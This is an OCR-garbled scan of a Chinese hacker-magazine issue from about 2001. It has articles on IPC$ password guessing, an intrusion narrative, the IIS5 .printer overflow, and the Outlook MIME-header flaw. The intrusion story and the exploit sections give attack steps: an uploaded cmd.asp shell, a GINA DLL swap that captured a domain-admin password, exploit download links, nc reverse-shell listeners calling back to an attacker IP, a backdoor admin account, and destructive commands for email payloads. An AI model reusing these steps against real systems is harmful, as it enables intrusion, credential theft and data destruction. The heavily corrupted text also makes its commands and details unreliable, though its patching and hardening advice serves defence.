因为 IPC$ 是 点 对 点 的 连接 , 系 统 限制 一 个 卫 同

时 只 能 与 它 建立 一 个 连接 , 所 以 通过 IPC 多 线程 猜测

用 户 密码 是 不 可 能 的 , 只 能 单线 程 慢 慢 狂 了。 小 榕 的

流光 采取 的 办 法 是 同时 猜测 大 范围 主机 的 账号 密码 ,

这 样 在 大 范围 的 扫描 中 显得 还 是 挺 快 的 , 但 对 于

某 一 特定 的 主机 就 没有 办 法 了 , 悠 着 点 来 吧 。 猜 测

密码 很 简单 ,把 用 户 名 和 密码 读 到 内 存 中 ,然后 用

上 面 我 封装 的 函数 EstablishIPC 不 停 地 试 就 行

了 。 关 于 这 个 ,我 请 教 shotgun 的 时 候 ,他 跟 我 说 ,

在 LAN 中 通过 下 C 多 线程 跑 用 户 密码 也 是 可 能

的 。 在 本 机 网 卡 上 绑 定 N 个 了 正 , 用 RAW SOCKET

编程 来 模拟 N 台 机 器 同时 跑 。Shotgun 说 这 样 就 比

较 无 聊 了 ,呵呵 。 还 有 一 个 办 法 ,如果 目标 服务 器

开 了 MS FTP Service 的 话 , 那 么 我 们 就 可 以 通过

FTP 来 多 线程 跑 用 户 的 密码 了 。BTW: 暴力 破解 密

码 是 比较 无 聊 的 事情 。

好 图, 攻击 方面 的 说 完 啦 , 现在 来 谈 谈 如 何 墙

住 上 述 安全 隐患 吧 。 其 实 很 简单 的 啦 , 把 注册 表

HKEY LOCAL MACHINE\ SYSTEMAN\ CurrentCon-

trolSet \Control \Lsa 0 的 值 设 置 为 2

就 行 了 ,或 者 在 本 地 安全 设置 中 设置 也 可 以 ,具体

路 径 是 Local Security Settings[ 本 地 安全 策略 ] ->

Local Pojlicies[ 本 地 策略 ] - > Security Options[ 安

全 选项 ], 把 Additional restricitions for anonymous

connections[ 对 匿名 连接 的 额外 限制 ] 选项 的 值 设

置 为 No access without explicit anonymous permis-

sions[ 没 有 显 式 匿 名 权限 就 无 法 访问 ] 就 可 以 了 。

这 样 ,匿名 用 户 就 不 能 与 你 建立 下 C NULL Session

了 [就 是 说 除非 攻击 者 已 经 有 了 可 用 账号 ,要 不 然

它 就 不 可 能 从 IPC Session 中 收集 到 系统 的 任何 信

息 ], 也 不 会 影响 正常 用 户 跟 服 务 器 建立 IPC Ses-

最 后 还 是 建议 系统 管理 员 启 用 密码 安全 策

咯 , 强 制 用 户 设置 的 密码 足够 复杂 并 且 和 定期 更 换

密码 ,虽然 这 让 用 户 比 较 讨 厌 。 这 样 的 话 ,即使 被

攻击 考取 得 了 系统 账号 列表 , 他 也 无 法 暴力 猜测

到 用 户 的 密码 。 还 有 一 点 建议 就 是 多 关注 厂商 的

安全 公告 , 勤 打 补丁 ,做 好 服务 器 的 权限 设置 。

记得 某 位 前 辈 说 过 , 系 统管 理 员 平时 多 付出

19% 的 努力 ,就 可 以 防止 住 99% 的 攻击 。 很 经 典 ,

不 是 吗 ?好 了 ,终于 写 完 啦 , 由 于 水 平 有 限 ,错误 和

不 足 之 处 请 各 位 多 多 包涵 并 欢迎 来 信 [Email:

ey4s@ 21cn. com HomePage: www. ey4s. org] 指教 ,

谢谢 。 多

(上 接 第 112 页 )

<2> 在 www.target. net 运行 另外 一 个 程序 ,

先 连 接 到 www.eyas.org: 1ll1I1, 再 连接 到

192. 168. 1. 3: 3389[ 敌 人 服务 器 内 网 的 卫 ] 二

<3> 我 的 TermClient 连接 到 www. eyas. org:

3389 ,这 样 ,数据 通道 就 全 部 建立 好 了 。 接 下 来 ,两

个 程序 就 忠实 地 为 我 们 转发 数据 了 。

这 里 我 不 多 解释 了 , 知 者 自 知 。

当 熟 悉 的 登陆 界面 出 现在 我 面前 , 我 熟练 地

调 出 输入 法 , 取得 admin 权限 , 呵呵 , 心里 还 有 那

人 么 一 点 点 成 就 感 !

总 结 : 发 现 mysql 漏洞 = => 和 凭 直 党 猜 中 HS

物理 路 径 = => 写 一 个 cmd. asp 文件 上 去 得 到 一

个 shell= => 利用 系统 配置 错误 取得 admin 权

限 。

接 下 来 我 在 他 内 网 搜索 了 一 下 , 没 发 现 什 么

好 玩 的 东西 。 后 来 我 把 这 人 台 机 器 的 Gina DLL 给 替

换 掉 了 。 然 后 我 通知 我 那 朋友 ,我 已 经 进去 他 的 服

务 器 了 。 他 马上 登录 进去 , 这 样 我 就 得 到 他 的

UserName 和 Password 了 ,是 域 管理 员 权 限 的 哦 。

后 记 :

<1> 后 来 我 的 朋友 跟 我 说 mysql 内 置 账号 :

root 他 已 经 设置 了 密码 的 ,但 我 确实 是 用 空 密码 连

接 进 去 了 , 这 肯定 是 他 设置 得 有 问题 了 , 不 是 他 没

做 ,是 没 做 好 。

<2> 我 好 像 看 某 些 文章 说 用 set 命令 能 看 到

IIS 的 根 目录 是 什么 ,但 经 我 试验 , 好 像 默 认 没有

这 个 环境 变量 的 吧 ?1! 果 真有 的 话 ,就 不 用 猜 廿 的

物理 路 径 了 ,一 切 都 变 得 简单 。

<3> 这 次 人 侵 前 后 伦 了 我 四 天 时 间 , 是 最 刺

激 的 一 次 。 星 期 五 晚上 得 到 一 个 GUESTS 权限 的

SHELL。 周 末 两 天 和 朋友 出 去 玩 , 玩 的 时 候 不 停 地

思考 如 何 取得 管理 员 权 限 。 周 日 晚上 半夜 ,忽然 想

起 可 以 写 程 序 通过 “反弹 端口 ”来 连接 终端 服务 ,

利用 输入 法 漏洞 ,虽然 帮助 文件 已 经 删除 , 但 没 安

装 补丁 。 周 一 回 到 公司 把 想法 变 成 现实 。

谨 以 此 送 给 网 管 同 行 们 , 虽 然 是 经 验 却 也 是

教训 。 娃

是 不 安全 的 , 微 软 的 HS5. 0 软 认

配置 也 不 例外 , 众 所 周知 。 比 如

IIS5.0 软 认 配置 里 面 有 个

. printer 了 映射 ( 缺 省 情况 下 该 映射

存在 ) ,该 映射 对 应 的 Msw3prt. dl

缺少 足够 的 缓冲 区 边界 检查 , 寻

致 可 能 被 攻击 者 远程 溢出 , 多 许

执行 任意 代码 。

本 文 内 容 有 问 有 答 , 解 决 了

读者 大 部 分 的 疑难 问题 。

本 文 还 提供 了 国内 的 这 方面

程序 ;包括 小 榕 的 TS5Exploit,

Sunx 的 iis$hack ,Isno 的 Cniis iisx

等 Expoit。 还 有 Eyas 的 Cgicheck

扫描 程序 。 还 包括 其 他 一 些 程序

如 Perl 写 的 Exploit 等 等 。 并 且 提

供 了 下 载 地 址 。 方 便 读 者 测试 。

MS01 -023 漏洞 公告

受 影响 的 系统 :

漏 酒 只 存在 运行 HSs. 0 的 Win2000 服务 器

Microsoft Windows2000 Server

Microsoft Windows2000 Datacenfter Server

Miicrosoft Windows2000Advanced Server

微软 Win2000IIS5 的 打印 ISAPI 扩展 接口 建立 了

.printer 扩展 名 到 Msw3prt, dll 的 映射 关系 , 缺 省 情况

下 该 映射 存在 。 当 远程 用 户 提交 对 . printer 的 URL 请

求 时 ,HS5 调用 Msw3prt. 叫 解释 该 请 求 。 由 于

Msw3prt. dl 缺乏 足够 的 缓冲 区 边界 检查 ,远程 用 户 可

以 提交 一 个 精心 构造 的 针对 . printer 的 URL 请 求 , 其

“Host:” 域 包含 大 约 420 字 节 的 数据 , 此 时 在

Msw3prt. dl 中 发 生 典 型 的 缓冲 区 溢出 ,潜在 允许 执行

任意 代码 。 洪 出 发 生 后 ,Web 服务 停止 响应 , Win2000

可 以 检查 到 有 eb 服务 停止 响应 , 从 而 自动 重启 它 , 因

此 系统 管理 员 很 难 意识 到 发 生 过 攻击 。

注意 : 这 个 漏洞 非常 优 险 , 因 为 它 仅仅 需要

Win2000 打开 80 端口 (Http) 或 者 443 端口 (Https) , 微

软 公 司 强 烈 要 求 在 未 打 补 丁 之 前 一 定 要 删除 ISAPI

文 / badboy

网 络 打印 的 映射 。

IIS JSAPI . Printer 远程 溢出 相关 问答

1. 漏洞 的 活动 范围 是 什么 ?

这 是 一 个 缓存 溢出 漏洞 , 这 漏洞 比 以 往 的 普通 溢

出 存在 更 大 的 危害 ,主要 有 两 方面 的 原因 :

(1) 在 缺 省 安全 的 情况 下 , 该 漏洞 可 以 被 来 月 网

络 的 入 侵 者 利用 。

(2) 入 侵 者 可 以 完全 获得 和 控制 存在 该 漏洞 的 网

站 服务 吕 。

人 侵 者 一 旦 溢出 成 功 , 他 可 以 做 他 想 做 的 事情 ,

包括 安装 和 运行 程序 、 重 新 配置 服务 、 增 加 改变 或 者

删除 文件 和 网 页 的 内 容 等 等 。 这 是 一 个 非常 危险 的 漏

洞 ,微软 公司 忠告 所 有 的 IS5 网 站 系统 管理 员 立 即 安

装 补丁 ,IS4 的 系统 不 存在 这 个 漏洞 。

2. 漏洞 的 起 因 是 什么 ?

Win2000 在 网 络 打印 ISAPI 扩展 上 缺少 足够 的

缓冲 区 检查 , 当 一 个 人 侵 考 发 出 特殊 的 请 求 服务 时 产

生 缓 存 溢出 , 可 以 让 入 侵 者 在 本 地 系统 执行 任意 代

码 。

3. 什么 是 SAPI 扩展 ?

ISAPI (InternetServicesAppjlication Programming In-

terface) 因特网 服务 应 用 编程 界面 是 一 种 能 够 使 网 络

开发 商 通 过 编写 为 网 络 服务 器 提供 新 的 服务 的 自 定

义 命 令 码 来 扩展 网 络 服务 器 功能 的 技术 。 该 自 定义 命

令 码 既 能 在 ISAPI 过 滤器 中 完成 ( 当 新 的 功能 提供 一

种 较 低 水 平 的 服务 时 ) 也 能 在 ISAPI 扩展 项 中 完成

( 当 新 的 功能 提供 一 种 较 高 水 平 服务 时 ) 。 现 在 , 被 溢

出 的 代码 就 是 这 ISAPI 扩展 。

4.ISAPI 扩展 的 问题 是 什么 ?

受 攻击 的 JSAPI 扩展 能 执行 网 络 打印 协议 (IPP)

(该 协议 是 在 RFCs2910 和 2911 定义 中 的 产业 标

准 )。IPP 能 提供 通过 HITP 在 网 络 打印 请 求 的 服

务 。 例 如 ,通过 使 用 IPP ,远离 办 公 室 的 工作 人 员 可 以

在 网 上 传递 打印 任务 给 他 联网 工作 区 域 的 打印 机 并

打印 出 来 ,他 也 能 发 现 打印 是 否 完全 无 误 。

Win2000 引进 了 本 地 网 的 网 络 打印 , 它 的 使 用 用

户 能 直接 指定 RUL 打印 , 也 可 以 通过 自己 的 浏览 器

查询 与 打印 有 关 的 信息 。

5. 在 Win2000 的 网 络 打印 ISAPI 扩展 存在 什么

错误 ?

ISAPI 扩展 在 处 理 用 户 打 印 请 求 的 部 分 代码 中 ,

有 一 个 未 经 检查 缓冲 长 度 的 验证 , 假如 发 生 的 打印 请

求 是 比较 特殊 的 ,那么 就 有 可 能 导致 缓冲 溢出 。

6. 什么 是 缓存 溢出 ?

缓存 溢出 又 称 为 缓冲 溢出 。 缓 冲 区 指 一 个 程序

的 记忆 范围 (领域 ) , 该 领域 是 用 来 储存 一 些 数 据 ,

如 电脑 程序 信息 , 中 间 计 算 结果 , 或 者 输入 参数 。

把 数据 调 人 缓冲 区 之 前 , 程 序 应 该 验证 缓冲 区 有 足

够 的 长 度 以 容纳 所 有 这 些 调 人 的 数据 , 和 否则 , 数 据

将 溢出 缓冲 区 并 覆 写 在 邻近 的 数据 上 , 当 它 运行

时 , 就 如 同 改写 了 程序 。 假 如 溢出 的 数据 是 随意

的 , 那 它 就 不 是 有 效 的 程序 代码 , 当 它 试图 执行 这

些 随意 数据 时 , 程 序 就 会 失败 。 另 一 方面 , 假 如 数

据 是 有 效 的 程序 代码 , 程 序 将 会 按照 数据 提供 者 所

设 定 的 要 求 执行 代码 和 新 的 功能 。

7. 在 配置 服务 器 时 用 的 是 IS5. 0 的 安全 清单 ,

依照 它 清除 所 有 不 必要 的 ISAPI 扩展 的 建议 后 , 我 还

会 受到 攻击 吗 ?

假如 你 的 ISAPI 扩展 已 经 被 清除 ,网 络 打印 请 求

不 能 响应 , 漏洞 就 不 会 产生 , 因此 ,假如 你 遵从 了 清单

的 建议 , 清除 了 下 API 上 的 网 络 打印 功能 后 , 你 将 不 会

受到 此 漏洞 的 攻击 。

8. 我 使 用 了 在 HS5. 0 安全 清单 下 的 安全 模板 ,

有 效果 么 ?

清单 下 的 安全 模板 消除 了 ISAPI 扩展 的 内 容 , 因

此 ,如 果 你 使 用 了 ,就 不 会 受到 这 漏洞 引起 的 攻击 。

9. 我 用 了 Win2000 网 络 打印 服务 器 安全 工具 去

配置 我 的 网 络 服务 器 , 那样 做 能 帮 有 我 消除 这 漏洞 的 隐

患 吗 ?

可 以 ,该 工具 包含 了 有 关 通 过 网 络 服务 器 配置 的

一 些 问卷 调查 , 除非 你 特别 提示 要 求 保 留 网 络 打印 功

能 ,否则 ,该 工具 可 以 使 SAFI 扩展 功能 失效 。

10. 防火 墙 能 够 阻止 入 侵 者 利用 这 个 漏洞 吗 ?

如 果 设 置 防火 墙 锁 住 Http 和 Https 请 求 , 人 侵 者

就 不 能 利用 这 个 漏洞 进行 攻击 , 但 你 的 网 站 服务 器 同

时 也 就 失去 Http 和 Https 服务 的 功能 , 所 以 对 于 开设

Web 服务 的 服务 器 来 说 , 防火 墙 不 能 阻止 利用 这 个 漏

11. 该 漏洞 影响 HS4. 0 服务 器 吗 ?

不 影响 。

国产 . printer 远程 浇 出 攻击 软件

使 用 实例

1. 小 榕 的 HSSExploit

严格 地 说 ,这 软件 并 不 是 小 榕 写 的 , 而 是 小 榨 根

据 Jil.e 改编 优化 部 分 代码 编译 出 来 的 。 不 过 这 软件

确实 很 好 ,特别 推荐 大 家 使 用 。

下 载 地 址 : http:/ /www. netxeyes. com/JIISS Ex-

ploit. zip

压缩 包 里 含有 3 个 文件 IIS5Exploit. exe、nc. exe、

readme. txt。

IIS5 . PrinterExploit 使 用 说 明 :

本 程序 适用 于 英文 版 IS5.0

1. 首先 在 本 机 用 NC 开 一 个 监听 端口 。

C:\> nc -1 -P99

2. 运行 HS5Exploit

其 中 211. 152. 188. 1 指向 本 地 卫 。

稍 等 片刻 , 如 果 成 功 , 在 本 机 NC 监听 的 端口 出

这 样 就 创建 了 一 个 属于 Administrator 组 的 用 户

Hack ,密码 为 password.

使 用 这 软件 实际 上 要 开 两 个 MS -DOS 窗口 , 首

先 运行 ne -1 -p99 , 当 然 也 可 以 把 端口 定义 为 其 他

的 , 建议 把 开 的 端口 改 高 些 , 避免 在 测试 的 同时 恰好

别人 在 扫描 你 的 端口 , 影响 你 正常 的 测试 , 小 榕 在 写

这 说 明 时 也 许 很 急 , 写 运行 HS5Exploit 也 没 写 好 , 正

确 的 是 HS5Exploit 目标 主机 的 耳 攻 击 者 IP99( 要 与 自

己 NC 开 的 端口 一 致 ) 为 了 提高 攻击 的 成 功率 , 首 先

必须 要 明确 所 攻击 的 目标 主机 一 定 是 开 有 Http\Https

服务 的 Win2000。 我 们 可 以 通过 Teinet 目标 主机 的 80

端口 Cet Index. htm 来 判断 对 方 Win2000 的 版 本 是 不

是 Microsoft Windows2000[Version$. 00. 2195] ,也 可 以

用 Eyas 提供 的 ScanPrinter 来 扫描 获得 。

2. sunx. org 提供 的 iisShack

下 载 地 址 : http://[www. sunx. org/mysoftyviis5

hack. zip

运行 参数 :

HS5Shack < 目标 主机 了 P> < 主

机 类 型 >

中 文 Win2000

中 文 双 in2000spl,

英文 Win2000;

英文 Win2000, spl :

日 文 观 in2000,

了 wb 避

日 文 Win2000, spl $

已 经 进入 目标 主机 , 你 想 干 什么 就 是 你 的 事 啦 。

该 软件 的 优点 是 针对 多 种 语言 版 本 的 Win2000 系

统 。 缺 点 是 溢出 成 功 后 目标 主机 的 HS 停止 服务 ,并 且

得 到 Shell 后 要 在 较 短 时 间 内 完成 你 想 做 的 事 , 时 间

长 的 话 连 Shel IIS 都 会 死 掉 ; 不 能 随意 定义 目标 主机

的 Shell 端口 。 在 退出 Teinet 服务 时 也 一 定 要 记 住 正

常 Exit 退出 ,否则 目标 主机 的 HS 也 会 死 掉 。 我 在 测试

过 程 中 发 现 只 是 两 三 分 钟 时 间 对 方 的 TS 就 死 了 , 看

来 把 这 软件 当做 拒绝 服务 攻击 型 的 软件 也 不 错 。

3. isno. yeah. net 提供 的 Cniis Iisx

isno 最 新 的 . printer 漏洞 攻击 软件 是 iisgx, 它 是

CNIIS 的 升级 版 本 , 按 照 作者 的 使 用 说 明 我 们 可 以 看

到 :

使 用 方法 :iisgx < 目标 主机 > < -pl-

al -Tattackhost attackport>

sp:0- -目标 没有 安装 SP,1- -= 目标 安

装 了 SP1I 提供 3 种 对 HS5. printer 漏洞 的 攻击 方式 :

-p - - 对 攻击 目标 运行 iisx66.77. 88.990 -pp

在 66. 77. 88. 99 上 开 一 个 端口 7788, 可 以 直接

Telnet 66. 77. 88. 997788

-a- -对 攻击 目标 运行 iisx66.77.88.990 -a

在 66. 77. 88. 99 上 添加 一 个 管理 员 帐 号 : hax, 其

密码 也 为 hax, 可 以 使 用 netuse \\ 66. 77. 88. 99 \ipcd

“hax”vuser: “hax? 建 立 连 接 。

-Tr- - 反 向 连接 (类 似 于 地 的 方式 ) ,具体 实施

方法 如 下 :

先 在 一 台 机 器 111. 222. 333. 444 上 运行 ne - vv

-1 工 -p5$432, 然后 对 攻击 目标 运行 iisx66.77. 88. 990

-Trilll.222.33. 444 5432, 这 时 在 111. 222. 333. 444

就 会 出 现 来 自 66. 77. 88. 99 的 连接 。

对 于 该 软件 , 我 没有 做 过 多 的 测试 , 不 过 我 们 可

以 看 到 , 第 一 种 方法 和 Sunx 的 HS5SHACK 是 一 样 的 ,

只 不 过 定制 溢出 的 Telnet 端口 不 同 。 对 于 固定 溢出 端

口 ,我 总 觉得 不 是 那么 好 , 至 少 在 你 测试 的 时 候 别人

也 在 扫描 相同 的 主机 时 , 你 的 行为 就 很 容易 被 人 发

现 。

对 于 第 二 种 方法 , 只 能 攻击 那些 安全 技术 非常 贫

乏 的 网 络 管理 员 了 , 因 为 添加 这 样 一 个 密码 和 用 户

ZD 都 一 样 的 超级 用 户 都 能 成 功 的 话 , 那 管理 员 连 密

码 长 字 节 和 特殊 字符 化 都 不 设 定 , 那 水 平 就 可 想 而 知

对 于 第 三 种 攻击 方法 和 Jal. e 差不多 , 所 以 也 不

再 做 详细 介绍 。

一 些 扫 描 . printer 漏洞 的 程序 测试

1.Eyas 编写 的 扫描 程序 Cgicheck

了 yas 是 一 个 很 有 进取 精神 的 小 伙 子 ,现在 国内 某

安全 公司 工作 , 在 微软 的 . printer 漏洞 公告 出 来 后 就

写 了 一 个 专门 扫描 该 漏洞 的 工具 Scanprinter。 由 于 时

间 仓 促 , 该 软件 尽管 可 以 扫描 该 漏洞 , 但 在 定制 扫描

线程 和 超时 延迟 方面 没有 写 好 , 使 用 起 来 不 是 那么 如

意 。

本 来 不 想 介绍 他 的 Scanprinter, 恰 好 在 我 写 到 这

部 分 内 容 时 , 他 给 我 传 来 他 的 新 作品 Cgicheck, 这 也

是 个 测试 版 的 DOS 命令 工具 , 从 文件 名 我 们 可 以 看

到 , 他 把 这 软件 写成 类 似 Twwwsean 那样 的 CGI 漏洞

扫描 工具 。

现在 让 我 们 看 看 使 用 效果 。

以 下 是 运行 在 AMD85S0128MB 64KISDN 双 IN98SFE

下 的 扫 措 情况 :

从 扫描 结果 来 看 这 软件 确实 有 很 大 的 提高 , 建议

Eyas 在 以 后 软件 的 升级 中 让 软件 可 以 自 定 义 所 需要

扫描 的 内 容 , 毕竟 在 针对 某 网 段 的 扫描 , 我 们 不 需要

把 所 有 的 CGI 漏洞 都 扫描 (要 知道 有 些 漏洞 已 经 很 少

看 见 了 ,加 进去 只 耽误 扫描 的 效率 ) 。

2. PL 扫描 程序

以 下 是 一 个 用 Perl 编写 的 扫描 程序

实际 上 这 个 扫描 程序 是 一 个 比较 简单 的 PL 扫

描 , 命 令 格 式 Webexplt. plip 只 能 针对 某 一 卫 地 址 进

行 检测 ,通过 发 送 GET /NULL. printerHTTPZ1. 0\n 请

求 ,然后 传送 一 超 长 字符 串 给 目标 主机 , 去 检测 是 否

存在 . printer 漏洞 。

3. 其 他 的 一 些 扫描 软件

例如 www. netguard. com. cn、www. xfocus. org 发 布

的 Easyscan、X - scaner 都 专门 做 了 针对 Printer 漏洞

的 扫描 ,大 家 可 以 试 试 。

漏洞 的 消除

最 好 的 办 法 是 安装 微软 针对 这 个 漏洞 发 布 的 补

丁 。

补丁 下 载 地 址 ;

http : / /www. microsoft. com/Downloads/Re-

]ease. asp?ReleaseID = 29321

在 你 无 法 获得 补丁 的 情况 下 , 我 们 也 可 以 通过 手

动 的 方式 设置 你 的 服务 器 : 设置 -控制 面板 一 管理 工

具 --INTERNET 服务 管理 器 一 右键 单 击 你 的 站 点 。 例

如 我 的 是 Badboy - 全 gzewyd- 属 性 一 编辑 WWW 服务

一 主 目录 一 配置 一 应 用 程序 配置 一 找到 . printer 清

除 。 但 这 样 操作 后 你 将 丧失 网 络 打印 的 功能 , 不 过 总

比 被 人 利用 这 漏洞 进行 人 侵 要 好 。 ” 镀

|

CR

编 者 按 : MIME (Multipurose Internet Mail Extension )

多 用 途 的 网 际 邮 件 扩充 协议 这 个 漏洞 (MSO01 - 020 漏洞 公告 里 面

有 详细 的 介绍 ) 最 可 怕 的 地 方 就 是 利用 OutLook 或 者 是 下 (没有 打

补丁 的 版 本 ) 打开 一 个 电子 邮件 或 其 他 的 故意 构造 转 接 URL 的 文

件 的 时 候 (这 种 类 型 的 文件 包括 htm,eml 等 等 ) ,可 以 在 你 的 机 器

上 面 以 当前 用 户 的 身份 执行 程序 (能 执行 的 程序 包括 本 机 程序 , 构

造 批 处 理 ,远程 构造 可 执行 程序 等 等 。) 。 这 个 漏洞 主要 是 针对 于 个

人 用 户 来 说 的 ,如 果 我 们 想 很 好 的 保护 自己 电脑 的 安全 ,就 要 了 解

一 些 保护 的 措施 。 仔 细 阅 读 这 篇 文章 ,你 就 能 保护 你 的 计算 机 不 受

侵害 。

MIHMIE 的 简单 介绍

1.MIME 的 基本 概念

你 可 能 在 使 用 CGI 程序 时 接触 过 MIME 类 型 , 其

中 有 一 行 叫 作 Content - type 的 语句 , 它 用 来 指明 传递

的 是 MIME 类 型 的 文 件 (如 Text/yHtml 或 Text/

Plain) MIME 是 Multipurpose Internet Mail Extension 的

缩写 , 起 初 定义 为 在 Patemet 电子 信件 中 的 编码 方法 ,

现在 已 经 演化 成 一 种 指定 文件 类 型 (Intermet 的 任何

形式 的 消息 : 卫 - mail,Usenet 新 闻 和 Web) 的 通用 方

法 。 如 果 Internet 上 有 两 个 程序 在 联系 , 其 中 一 个 发

文件 , 另 一 个 则 接收 文件 。 当 发 送 的 是 MIME 类 型 的

文件 时 , 接 收 程序 通过 识别 会 告诉 你 它 是 否 能 够 处

理 。 每 一 种 文件 格式 都 有 一 组 一 致 的 名 称 , 至 于 是

否 匹配 , 这 不 应 该 成 为 你 所 担心 的 问题 多数 标准 广

件 都 有 对 应 于 MIME 类 型 的 文件 格式 。

2. MIME 类 型 的 工作 原理

MIME 类 型 有 两 种 格式 :一 个 是 文件 的 一 般 格式

(如 文本 、 图 像 或 应 用 程序 ) , 另 一 个 就 是 文件 的 特殊

的 格式 (对 文本 有 Html、Plain 格式 ,对 图 像 有 GE、

JPECGC 格式 )。 比 较 典 型 的 MIME 类 型 一 般 是 Text/

Html、ImageZGif、VideoyQuicktime 或 Application/

文 / badboy

Postscripto ,一 且 一 组 标准 的 MIME 类 型 已 经 被 定义 ,

新 的 类 型 必须 在 IANA(Internet Assigned Numbers Au-

thority) 中 登记。 新 的 MIME 类 型 在 没有 正式 认可 时 儿

须 采 用 以 X 一 开头 的 命令 指定 ,如 audio/x -noise -

from -~ join 或 application/x - httpd - cgi; 在 建立 NCSA

服务 器 时 它 可 以 运行 CGI 程序 ,包含 时 也 是 一 样 :ap-

piication/x - httpd - cgi 和 x - serverd ~- parsed - htmlo 。

3. MIME 类 型 在 Web 服务 器 和 浏览 器 上

的 应 用

Web 服务 器 发 送 文件 到 浏览 器 时 将 用 到 MIME

类 型 。 其 大 致 过 程 如 下 :

(1) 浏 览 器 通过 URL 向 服务 器 发 出 读 文件 请 求 ;

(2) 服务 器 接 到 浏览 器 的 请 求 后 ,从 文件 系统 中

取出 相应 的 文件 ;

(3) 服务 器 在 已 知 的 MIME 文件 扩展 对 照 表 中 查

找 该 文件 的 扩展 名 ,如 Gif Htiml Txt 等 等 ;

(4) 服务 器 向 浏览 器 发 送 一 个 Content - type 头 ,

指示 将 要 发 送 的 文件 的 类 型 ;

(5) 浏览 器 接 到 Content -type 后 , 对 它 是 否 可 以

单独 处 理 、 或 还 要 调用 另 一 个 浏览 器 等 问题 进行 辨

别 。

这 个 过 程 最 重要 的 部 分 是 服务 器 保存 一 个 固定

的 文件 扩展 名 与 MIME 类 型 的 对 照 表 , 这 个 表决 定 了

服务 器 可 识别 的 文件 类 型 。 在 双 eb 中 共享 的 文件 一

般 都 有 正确 的 文件 扩展 名 , 并 同 正确 的 Content - type

一 起 发 送 。

如 果 你 想 发 送 一 个 超出 Web 定义 的 新 类 型 的 文

件 , 或 者 你 得 时 间 内 突然 得 到 许多 文件 ,而 它们 都 有

新 的 扩展 名 , 这 时 你 必须 配置 你 的 服务 器 来 识别

MIME 类 型 或 新 的 扩展 名 。

4.MIME 类 型 与 浏览 器

通常 浏览 器 都 有 一 个 MIME 类 型 的 文件 扩展 名

对 照 表 , 这 个 表 一 般 只 能 用 于 “OpenFile” 对 话 框 或 者

一 个 文件 : URL 命名 打开 的 本 地 磁盘 文件 , 或 用 除了

HTTP 之 外 的 方法 从 服务 器 取 回 的 文件 。

下 ,浏览 器 会 忽略 服务 器 所 传 文件 的 扩展 名 而 只 注

Content -type。 和 服务 器 一 样 , 浏览 器 通常 We

MIME 类 型 与 其 他 浏览 器 的 对 照 表 。 这 样 你 就 可 以 设

置 浏览 器 以 便 处 理 从 Web 服务 器 得 到 的 文件 , 浏 览

器 使 它 从 Content -type 头 得 到 的 值 与 浏览 器 的 名 字

和 地 址 相 匹配 。

服务 器 配置 文件 如 果 被 加 入 了 新 的 文件 类 型 , 这

时 很 有 可 能 浏览 器 无 法 识别 它 得 到 的 新 文件 。 如 果 你

增加 了 这 些 文件 类 型 , 并 且 想 使 用 这 些 类 型 ,最 好 在

作品 中 加 上 说 明 , 注 明 传递 的 文件 类 型 、 使 用 过 的

MIME 类 型 以 及 与 读 此 文件 格式 的 浏览 器 的 关系 等

等 。

错误 的 MIME 头 漏洞 的 发 现

该 漏洞 是 由 Juan Carlos Carcia Cuartango 安全 小

组 发 现 的 , 该 小 组 发 现 MIME 在 处 理 不 正常 的 MIME

类 型 中 存在 问题 , 攻击 者 可 以 建立 一 个 包含 可 执行 文

件 附 件 的 Html Email 并 修改 MIME 头 , 使 下 不 正确

处 理 这 个 MIME 所 指定 的 执行 文件 附件 。 一 般 情 况 下

如 果 附 件 是 文本 文件 , 焉 会 读 它 ; 如 采 是 VIDEO

CLIP , 下 会 查看 ; 如 果 是 图 形 文件 ,下 就 会 显示 它 ; 但

如 果 是 一 个 EXE 文件 ,下 就 会 提示 用 户 是 否 执行 。 具

有 危害 性 的 是 , 当 攻 击 者 更 改 MIME 类 型 后 , 下 就 会

不 经 过 提示 用 户 是 否 执行 而 直接 运行 , 从 而 使 攻击 者

加 在 附件 中 的 程序 或 者 攻击 命令 能 够 按照 攻击 者 设

想 的 情况 实行 。 这 些 内 容 我 们 将 在 后 面 做 分 析 。

windows9S\98\ME WinNT4 Win2000 下 的

Microsoft Internet 上 xplorer 5. 0

Microsoft Internet Explorer 3. 01

Microsoft Internet Explorer 5. 5

均 存 在 该 漏洞 。

该 安全 小 组 提供 一 简单 的 执行 Hello. eml 程序 进

行 测试 :

(将 以 下 程序 编辑 为 Hello. eml 文件 即 可 )

0 一 一

0 四

, LOadimS .

祭 ,、 代 码 位 置 :

、” 光 钥 wian

交 有 aarmanm 人

ER CN

兴 re

点 击 Hello. eml 文件 后 , 将 会 开启 Outlook 和 MS-

DO0S 窗口 , 显示 当前 文件 所 在 文件 夹 的 查看 状态 。 因

为 仅仅 是 DIR 命令 , 所 以 对 用 户 来 说 不 存在 什么 危

害 , 该 文件 只 是 在 没 任何 提示 下 已 经 运行 了 DIR 命

令 。 在 Windows\Temp 目录 里 我 们 可 以 看 到 这 个 被 执

行 的 临时 文件 Hello. bat、Helloe (1). bat, 这 个 文件 是 由

Hello. eml 里 面 的 代码 产生 的 , 而 在 Outiook 里 面 我 们

只 能 看 见 一 个 0 字 节 的 文件 ATT00004. txt。 当 你 关闭

Outiook 后 ,Hello. bat 这 个 临时 文件 就 看 不 到 了 。

_MIME 与 Command cnmnal

命令 的 络 合

在 上 部 分 内 容 的 例子 里 , 我 们 可 以 看 到 那 信 件 的

后 部 分 的 内 容 为 :

. 它 所 产生 的 Hello.bat 文件 内 的 内 容 是 Dir 类

. 炎 。 实 际 上 这 就 是 一 个 最 简单 的 MIME 错误 头 漏洞

与 Command、Cmd 外 部 命令 的 最 简单 结合 。 从 这 里 ,我

们 是 不 是 可 以 尝试 把 Dir 命令 变 成 其 他 的 命令 方式

呢 ? 事实 说 明 ,MS - DOS 下 一 切 命 令 是 可 以 鞭 换 这 部

分 内 容 的 。 对 于 Win9x 用 户 来 说 ,只 要 他 的 下 浏览

器 是 5.0 、5. 01 、5.5 版 本 ,在 没 打 补 丁 的 情况 下 , 攻

击 者 完全 可 以 利用 欺骗 的 方式 让 你 打开 含有 攻击 命

令 的 MIME 错误 头 的 Email 文件 ,达到 攻击 的 目的 。 例

如 Format、Deletetree、Morve 等 一 切 MS - DOS 下 的 命

令 。 而 对 于 WinNT、Win2000 用 户 ,尤其 是 那些 不 安 分

守 已 的 系统 管理 员 , 利用 公司 的 主 服务 器 上 网 且 对 网

络 安全 知识 贫乏 的 情况 下 , 攻 击 者 可 以 在 以 上 那 封

Email 信件 里 加 上 诸如 :

